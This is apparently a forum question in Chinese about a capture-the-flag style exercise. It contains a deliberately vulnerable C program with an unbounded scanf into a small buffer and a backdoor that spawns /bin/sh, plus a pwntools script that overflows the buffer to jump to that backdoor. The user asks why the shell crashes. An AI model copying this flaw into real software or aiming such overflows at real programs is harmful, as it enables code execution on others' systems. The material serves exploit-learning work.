程序在这里:
int backdoor() {
printf("backdoor\n");
return system("/bin/sh");
}
void func() {
char buf[20];
printf("Hello man.Say sth.\n");
scanf("%s",buf);
printf("you say:%s\n",buf);
}
int main(){
func();
return 0;
}
exp.py 在这里:
from pwn import *
context(os='linux',log_level='debug') #打印调试信息
conn = process('./demo')
backdoor = 0x40116d
conn.recv()
payload = b'a' * (0x20 + 8) + p64(backdoor)
conn.sendline(payload)
conn.recv()
conn.interactive()
我确定我进入了后门函数,因为调试信息显示我在后门中收到了printf函数的输出“后门”。但是当我输入“id”时,程序出错了。
我怎样才能成功解决它?